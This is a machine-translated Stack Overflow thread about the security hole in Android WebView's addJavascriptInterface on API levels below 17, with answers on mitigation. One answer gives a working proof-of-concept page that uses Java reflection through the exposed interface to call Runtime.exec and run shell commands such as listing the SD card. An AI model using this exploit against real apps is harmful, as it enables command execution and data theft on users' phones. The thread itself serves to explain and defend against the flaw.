【问题标题】:Android JavascriptInterface Security?Android Javascript接口安全?
【发布时间】:2011-09-18 22:36:46
【问题描述】:

来自文档: http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29

"使用 addJavascriptInterface() 允许 JavaScript 控制您的应用程序。这可能是一个非常有用的功能或危险的安全问题。当 WebView 中的 HTML 不可信时(例如,部分或全部 HTML 由某些人提供人或进程),然后攻击者可以注入 HTML 来执行您的代码以及可能是攻击者选择的任何代码。 除非此 WebView 中的所有 HTML 均由您编写,否则请勿使用 addJavascriptInterface()。 绑定的 Java 对象在另一个线程中运行,而不是在构造它的线程中。

假设我有一个只显示自定义对话框的界面,或者开始下载到 sd 卡。将这用于任何网址是否不安全?攻击页面如何使用该接口来运行攻击者选择的任何代码?

更新: 根据documentation:

此方法可用于让 JavaScript 控制主机 应用。这是一个强大的功能,但也提供了安全性 针对 API 级别 JELLY_BEAN 或以下的应用程序的风险, 因为 JavaScript 可以使用反射来访问注入对象的 公共领域。在包含不受信任的 WebView 中使用此方法 内容可能允许攻击者在 意想不到的方式,以宿主的权限执行Java代码 应用。在 WebView 中使用此方法时要格外小心 其中可能包含不受信任的内容。

有没有例子说明这种情况是如何发生的?这只是说如果 DOWNLOADINTERFACE.dangerousfunction 是该类的公共方法,则可以调用它?

更新:

我根据下面的漏洞利用示例进行了测试,站点可以通过Android 4.4、4.1和3.2中的接口访问系统。

但是,我没有在 Android 2.2 或 2.3 上看到这个错误,黑客只会导致强制关闭。除了不使用 JSInterface 之外,防止这种黑客攻击的最佳方法是什么?我可以包含这样的虚假函数,以防止未经授权的函数调用吗?

public Object getClass() {
  //throw error, return self, or something?  
}

或者使用 ajax 重写所有内容并拦截调用?这会导致更好/更差的性能吗?

更新:

我成功移除了 JS 接口,并通过为所有 window.(interface) 函数定义 window.open(specialurl) 命令替换了功能,并覆盖了 shouldOverrideUrlLoading 中的那些。奇怪的是,window.open() 在某些情况下必须使用,或者 webview 会中断显示(比如 javascript 正在停止?),而在其他情况下,应该使用 location.replace,否则它只会显示“interface://specialdata” " 找不到消息。

(我设置了 settings.setJavaScriptCanOpenWindowsAutomatically(true) 所以 window.open 一直在 JS 中工作。)

有人知道用这种行为重写应用程序的最佳方法吗?

【问题讨论】:

  • 您是从互联网加载外部文件还是仅在手机上加载本地文件?您是否设置了互联网权限?因为我认为如果黑客无法远程访问手机,他就无法更改 javascript 代码
  • 这是来自网络,不是本地的,所以我需要保护这个接口。
  • @NoBugs:您好,不知道您是否在不删除JavascriptInterface 的情况下成功找到了解决此安全漏洞的方法?另外,我注意到你覆盖 getClass() 的方式是不可行的,因为 getClass() 是一种最终方法。
  • @Chan 是的,我发现调用 ajax 并拦截它是 JSinterface 的一个很好的替代方案。

标签: javascript android interface webview android-webview


【解决方案1】:

对于任何在 2020 年检查此问题的人来说,安全问题似乎只影响低于 17 的 Android API(Android 4.2)。所以,如果你的minSdkVersion 是17 或更高,那么你应该是安全的。

这里是参考:

【讨论】:

    【解决方案2】:

    概览

    为避免addJavaScriptInterface()的安全问题,需要设计原生代码与JavaScript之间的通信协议。

    以下是通信协议的简单设计。

    在 JavaScript 中

    为简化通信协议,您希望 Android 处理的每个函数调用都应遵循以下模式

    /*
    classname string
    method name string
    params jsonObject
    */
    value=classname+":"+methodname+"?"+"params";
    window.promt(value,"");
    

    在 Java 中

    可以覆盖 WebChromeClient 中的 onJsPrompt()。

    WebChromeClient.onJsPrompt(WebView view, String origin, String message, String defaultValue, final JsPromptResult result){
    //Parse className
    //Parse methodName 
    //Parse params
    //Create an instance of the target class by reflection. Call the target method with params.
    //Return true if all params in message valid, otherwise return false.
    }
    

    Cordova 框架

    这也是Cordova Plugin 的工作原理。 Cordova虽然比较复杂,但是在“JS to Native Call”中增加了回调函数,并且允许原生代码调用JavaScript

    【讨论】:

    • Location.promt?为什么不更改位置并执行特定方案的 shouldOverRideUrlLoading:// ?如果页面真的有提示怎么办?
    • 页面实际上没有任何提示。由于 onJsPrompt 已被覆盖且相应的返回值为 true,WebKit 将假定 JavaScript 的 promt 函数已被处理,并且不会提示任何内容。您需要在 onJsPrompt 函数中自己实现。如果你想这样做另一个方案,没关系。但是为什么要打扰呢? window.prompt() 已经很容易使用了。
    【解决方案3】:

    修复:

    对于运行 Android 4.2 的应用程序,所有使用 JavascriptInterface 注释的公共方法都可以从 JavaScript 访问。

    因此,如果您为 SDK 版本 17 或更高版本开发应用程序,则必须将 @JavascriptInterface 注释添加到您想要的任何方法中可用于您的 JavaScript。

    如果您不提供注释,则在 Android 4.2 或更高版本上运行时,您的网页将无法访问该方法。

    了解更多点击here

    【讨论】:

    • 谢谢,但我现在连 4.2 设备都没有,我写这篇文章是为了最大限度地兼容。
    • 如果可能的话,禁用javascript,这样即使入侵者也无法访问任何java方法并利用此漏洞
    • 由于这个问题是一种中间人攻击,您可以使用 SSL 证书来确保您收到的内容不被篡改。
    【解决方案4】:

    此安全漏洞适用于除 API 级别 >= 17 之外的所有本机接口。

    【讨论】:

    • 那为什么2.2和2.3的设备不能与上面海淘的示例代码一起使用呢?我发现唯一有此错误的设备是 4.1 设备。
    • 抱歉,我没有 2.x 设备。我只在 4.x 上工作。
    • 对了一半,你必须是 4.2+ 并且正在使用一个使用新的 @JavascriptInterface 并为更新的 api 编译的应用程序。
    【解决方案5】:

    从 javascript 访问 sdcard 文件的示例:

    <html>
      <head>
        <script>
    
          function getContents(inputStream)
        {
            var contents = "";
            var b = inputStream.read();
            var i = 1;
            while(b != -1) {
                var bString = String.fromCharCode(b);
                contents += bString;
                b = inputStream.read();
            }
            return contents;
        }
    
           function execute(cmdArgs)
         {
           //  go_back_js_interface_name is the registered java interface.
           //  it is an object, but is not iterable with for (var i in interface) {...}.
           return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
         } 
    
          var p = execute(["ls","/mnt/sdcard/"]);
          document.write(getContents(p.getInputStream()));
    
        </script>
      </head>
      <body>
        Test
      </body>
    </html>
    

    【讨论】:

    • 这适用于哪种 Java 接口?我在window.DOWNLOADINTERFACE.getClass().forName("java.lang.Runtime") 上收到错误消息。 E/webcoreglue(15778): *** Uncaught exception returned from Java call! W/System.err(15778): java.lang.CloneNotSupportedException: Class doesn't implement Cloneable W/System.err(15778): at java.lang.Object.clone(Object.java:79) W/System.err(15778): at android.webkit.JWebCoreJavaBridge.sharedTimerFired(Native Method)
    【解决方案6】:

    因此,在 WebView 中运行的代码默认是沙盒化的 - 也就是说,它不能执行危险的本地内容,例如写入文件系统或访问地址簿等...

    大多数 javaScript 都属于该类别,在显示自定义对话框的情况下,没有危险。

    addJavaScriptInterface 允许您将本机手机内容暴露给 javascript,但危险在于,如果您没有正确编写 javaScriptInterface,您最终可能会将某人的手机暴露给黑客的真正危险。

    我认为使用示例最容易理解。

    假设您编写了一个 javaScript 接口,您可以在其中从 javaScript 调用一个函数,该函数将文件写入 android 文件系统上的路径。例如:

    writeToFile(data, safepath);
    

    javascript 全部来自您的服务器,但黑客以某种方式破坏了您的服务器并更改了正在加载到您的 WebView 中的 HTML/JavaScript 以运行:

    writeToFile(dangerousdata, pathtosomeotherfile);
    

    现在我还没有仔细检查 android 包的布局,不知道如果我是黑客我想覆盖/更改哪个文件,但我们过去常常在我们自己的 linux 机器上与朋友进行少量黑客大战当我年轻的时候,你会使用这样的调用来覆盖 SSH 二进制文件之类的东西 - 然后你就可以记录所有输入的密码。如果你可以用你的方法覆盖或扩展原始 apk拥有,您可以将该人的手机变成可以远程登录的服务器(由于应用程序是沙盒化的,我不确定这是否可能)。即使您所能做的只是覆盖一个关键数据文件,您也可能会导致用户(在本例中为黑客)授予您访问安全凭证、密码和各种东西的权限。

    多年前有一段时间,我们在 linux 机器上的 sendmail 进程中发现了一个漏洞,可以让我们启动一个 shell。我们以邮件用户身份登录到我们的服务器。作为邮件用户,您不能做太多事情,但是一旦您在机器上,它就让您有机会四处寻找其他弱点。

    所以你可以安全地做你想做的事,只要确保你的 JavaScript 界面非常简单和愚蠢 - 它只写入一个位置的一个文件,你写入的数据可能是文本或其他内容'以后不会被解释。对于对话框,我一直这样做 - 也不需要任何特殊的本地调用。这是一种在用户安装您的应用后可以更新页面的好方法。

    希望对您有所帮助!

    【讨论】:

    • 我没有制作根应用程序,所以它不应该能够覆盖任何重要的东西,只有 /sdcard/something,但我想知道这个功能是否存在一些固有的安全漏洞,由于文档说永远不要在您未编写的 html 上使用它,因此它可以运行攻击者选择的任何代码。
    • 嗯,有 /sdcard/something... 我认为这可能包括读取和写入其他应用程序使用的文件。然后在您的应用程序数据目录中有所有内容。这可能包括数据库等等。我认为没有固有的安全漏洞。只是您明确地在网络沙箱中打了一个洞。如果您有充分的理由,那么请确保您知道自己在做什么。
    • if you don't write your javaScriptInterface correctly - 一个非常有用的点,但这里的correctly 是什么措施?程序员应该寻找哪些陷阱?
    猜你喜欢
    • 2021-10-02
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2018-08-20
    • 2011-10-09
    • 1970-01-01
    • 2011-09-10
    • 1970-01-01
    相关资源
    最近更新 更多